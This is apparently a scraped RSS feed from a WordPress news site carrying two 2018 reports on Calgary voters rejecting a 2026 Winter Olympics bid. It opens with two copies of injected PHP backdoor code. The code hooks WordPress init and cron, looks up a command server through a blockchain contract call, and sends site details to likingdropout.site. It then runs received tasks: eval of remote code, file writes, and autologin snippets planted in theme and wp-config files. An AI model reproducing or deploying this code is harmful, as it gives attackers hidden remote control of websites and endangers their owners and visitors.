// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 2026 – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Nov 2018 18:46:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 2026 – Brief News https://briefnews.eu 32 32 Why Calgary passed on the 2026 Olympics — and what's next for the Games nobody seems to want https://briefnews.eu/why-calgary-passed-on-the-2026-olympics-and-whats-next-for-the-games-nobody-seems-to-want/ https://briefnews.eu/why-calgary-passed-on-the-2026-olympics-and-whats-next-for-the-games-nobody-seems-to-want/#respond Wed, 14 Nov 2018 18:46:12 +0000 http://briefnews.eu/why-calgary-passed-on-the-2026-olympics-and-whats-next-for-the-games-nobody-seems-to-want/

Calgary voters have sent politicians a clear message: They want no part of the city's beleaguered bid for the 2026 Winter Olympics.

The vote is not binding, but should leave those on Calgary city council no doubt. Leading up to this plebiscite, bid organizers had hoped for a Yes vote somewhere in the mid-50s, closer to 60 per cent support if things went well.

They didn't come close. The results were decisive: 132,832 for Calgary hosting (43.6 per cent) and 171,750 against (56.4 per cent). The official result will be made available at 3 p.m. MT on Friday, with results by riding posted Thursday at noon.

After asking voters for guidance, Calgary's council will likely formally halt the city's bidding process at a meeting on Monday.

The No side won with 56.4 per cent of the vote, a total of 304,774 people cast ballots across the city. 3:43

When Calgary initially announced plans to pursue the 2026 Winter Olympics, it all seemed so perfect. Calgary would recapture the Olympic spirit and excitement that enveloped and boosted the city when it hosted the 1988 Winter Games.

But for many, this bid never felt like 1988. Whatever the magical feeling was 30 years ago, it never captured voters. And now, Calgary's nascent Olympic bid has finally lurched to an unceremonious end.

So, what happened?

Those behind Calgary 2026 did a lot of things right. They engaged and mobilized a cross-section of supportive voices. They attempted to showcase the Games as opportunity to revitalize and refurbish the physical legacy of 1988. Organizers also pointed to a successful bid as a needed economic lifeline for a city whose economy has been crippled by falling oil prices.

Wrong event at the wrong time

But as this process evolved, so too did an opposition that grew more mobilized and vocal as decision day approached. With far less money at their disposal than the professional bid committee, a web of critics appear to have effectively delivered their message that this was the wrong event at the wrong time for Calgary.

And from an outside perspective, beyond the boosterism of those connected to the Olympic movement, there never seemed to be an overwhelming amount of genuine excitement among everyday Calgarians.

Perhaps that could have been overcome. Most of the concerns surrounding this bid centred on who would pay for the Games. But voters either didn't like or couldn't understand the numbers they were given. Even on the floor of Calgary city council, leading up to this vote, there was confusion about exactly how much each level of government would provide.

Voters were promised this information before being asked to decide whether they wanted an Olympics.

"What is the number we can take to the citizens of the city of Calgary?" Coun. Jeremy Farkas asked.

Judging by the results, the 11th-hour funding agreement by city, Alberta government and Ottawa, weeks before this vote, provided Calgarians little clarity or confidence.

Past Olympic failures loomed large

This bid also undeniably fell victim to the unpleasant baggage weighing down the Olympic movement. The cynical narrative is familiar by now. Cities spend billions more than initially proposed to host a two-week party that leaves little long-term positive economic impact.

Robert Livingstone operates the website GamesBids.com and has followed this process closely. He says people are increasingly wise about past Olympic failures.

"It's so ingrained and people perceive that the Olympic culture is corrupt, often real corruption in some cases. They have seen this big build and the overspend."

Livingstone points out the International Olympic Committee has taken steps to mitigate this perception among Calgary voters.

In the past, the IOC has rarely interacted or visited with potential host cities. But with fewer cities lining up to host the Olympics, the IOC has resorted to actively selling the Games. Its representatives visited Calgary numerous times in recent months, attending town halls and doing rounds of media interviews.

Livingstone also says the IOC, as part of its Agenda 2020, has taken steps to make the Games easier to bid on and cheaper to host. For example, in past Games, the IOC usually insisted on new buildings, often with little long-term practical use for host cities. But Calgary's bid focused on the IOC-supported idea of mostly refurbishing old facilities instead of building new ones.

Agenda 2020 never resonated in Calgary

The lean bid model may work to counter the Olympic bid narrative, Livingstone says, but it may have actually made a potential bid less attractive for Calgary voters.

"I think Agenda 2020 is a total disconnect in Calgary," Livingstone says. "Agenda 2020 didn't make sense because in Calgary, they want the venues. They wouldn't stop talking about the NHL arena and how they were going to get at it and the rail link to the airport. But because of Agenda 2020, it was left off [and] not included."

So what now for the 2026 Winter Olympics — the Games that nobody seems to want?

When this process began, there were eight hopeful cities. Only two remain: Stockholm, and a joint Italian bid. And both of those bids face significant internal political hurdles.

Livingstone thinks there could be another host lurking in the background.

"I really think that the IOC is hoping that Stockholm and Italy just go away and then they can work with Salt Lake City."

The American city, like Calgary, also has an Olympic legacy, having hosted the Games in 2002. Livingstone says the difference in Utah is a genuine enthusiasm to do it again.

"As they say themselves, they can get this done tomorrow [with] 89 per cent public support. They have the Utah governor already signing off on it. They did a feasibility study, and literally they could host the Games next year."

For many in Calgary, it seems that's just fine.

Calgary, along with the rest of the country, will undoubtedly enjoy the 2026 Winter Olympics wherever they eventually land.

We will continue to celebrate medals and Canadian achievement, content to let somebody else foot the bill.

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]]> https://briefnews.eu/why-calgary-passed-on-the-2026-olympics-and-whats-next-for-the-games-nobody-seems-to-want/feed/ 0 'The people have spoken': Calgary mayor confirms 2026 Olympic dream is dead after vote https://briefnews.eu/the-people-have-spoken-calgary-mayor-confirms-2026-olympic-dream-is-dead-after-vote/ https://briefnews.eu/the-people-have-spoken-calgary-mayor-confirms-2026-olympic-dream-is-dead-after-vote/#respond Wed, 14 Nov 2018 10:17:12 +0000 http://briefnews.eu/the-people-have-spoken-calgary-mayor-confirms-2026-olympic-dream-is-dead-after-vote/ Calgarians have voted against a bid to host the 2026 Winter Olympic and Paralympic Games.

The No side won with 56.4 per cent of the vote, according to unofficial result of the non-binding plebiscite.

A total of 304,774 people cast ballots across the city, with 171,750 voting against a bid and 132,832 in favour of the Games. According to the city, 46,620 people voted in the advance polls and 8,001 mail-in ballots were received.

By comparison, 387,582 people had voted at the end of last fall's municipal election. That was equal to a 58 per cent voter turnout, according to Elections Calgary. 

The official result will be made available at 3 p.m. Friday, with results by riding posted Thursday at noon.

The result means a loss of $ 700 million in funding from Alberta for the Games — as the money was contingent on the outcome of the plebiscite — but the bid still faces an official vote by city council before the bid corporation is officially dissolved.

"The people have spoken, the people have spoken in big numbers, and the people have spoken clearly. And this is very clear direction for where we go from here," said Calgary Mayor Naheed Nenshi, who added he was personally disappointed in the result.

Nenshi said council will vote Monday, likely in favour of suspending the bid.

Calgary Mayor Naheed Nenshi confirmed he will not be supporting the Olympic bid going forward, given the results of Tuesday night's plebiscite. (CBC)

The plebiscite result came after weeks of acrimonious debate that played out both in the council chambers and across the city.

On Oct. 30, a funding proposal finally arrived, months later than expected. The following day, council voted to halt the process, but fell just short of the super-majority requirement, allowing it to limp forward for two weeks until to the plebiscite.

Nenshi said he disagrees that Olympic talks were divisive.

"I gotta tell you, I reject that thinking. Because what we had is passionate people talking about the future of the community," he said.

'We did the best we could'

Alberta Culture and Tourism Minister Ricardo Miranda said in an emailed statement the province would respect Calgarians' decision.

"Today was a success because Calgarians were given the opportunity to have their say on whether to proceed with an Olympic bid. This decision was never an easy one," he wrote.

Calgary 2026 CEO Mary Moran, centre, and Yes Calgary 2026 organizer Jason Ribeiro embrace following the Olympic bid plebiscite result announcement Tuesday evening. (Bryan Labby/CBC)

The bid corporation said in the statement it would begin to wrap up operations and prepare final accounting reports to its three government funding partners, as well as compile material that could be used in a possible future bid for a major sporting event.

"The Olympic motto states that 'the most important thing in the Olympic Games is not to win, but to take part, just as the most important thing in life is not the triumph but the struggle,'" said Mary Moran, CEO of the Calgary 2026 Bid Corporation, in an emailed statement.

Moran said it had been a challenge trying to get the three levels of government aligned on funding expectations.

"I wish we did it sooner but we did the best we could with what we were dealt," she told media following the result announcement.

A Calgarian arrives to vote in a plebiscite on whether the city should proceed with a bid for the 2026 Winter Olympics, in on Nov. 13. (Jeff McIntosh/Canadian Press)

Coun. Jeff Davison, one of the bid's supporters, wrote on Facebook given the plebiscite result, he would not be supporting the bid going forward.

"I think people have had enough of this establishment telling us what to do, and what to think," added Coun. Sean Chu, a prominent opponent of the bid.

The province spent $ 2 million hosting the plebiscite, and $ 10 million was spent on the bid out of a $ 30 million pool from the municipal, provincial and federal governments.

Members of the Yes campaign react to the results of a plebiscite on whether Calgary should proceed with a bid for the 2026 Winter Olympics on Tuesday evening. (Jeff McIntosh/Canadian Press)

Bid corporation board chair Scott Hutcheson thanked volunteers and athletes that championed the bid, as well as the three level of governments for funding that got the bid this far.

"If we didn't try to do this, shame on us. We did our best," said Hutcheson.

"I think what we need to do today is reflect on what went right, what went wrong, go back to the drawing board."

With Calgary likely out of the running, that leaves just Stockholm and a joint Italian bid from Milan and Cortina d'Ampezzo in the running for the 2026 Winter Games.

Bids will be submitted to the International Olympic Committee in January, with a host city being chosen in Lausanne, Switzerland, in June.

The plebiscite was the first time in a Calgary election that electronic vote tabulating machines were used, instead of hand-counting ballots. 

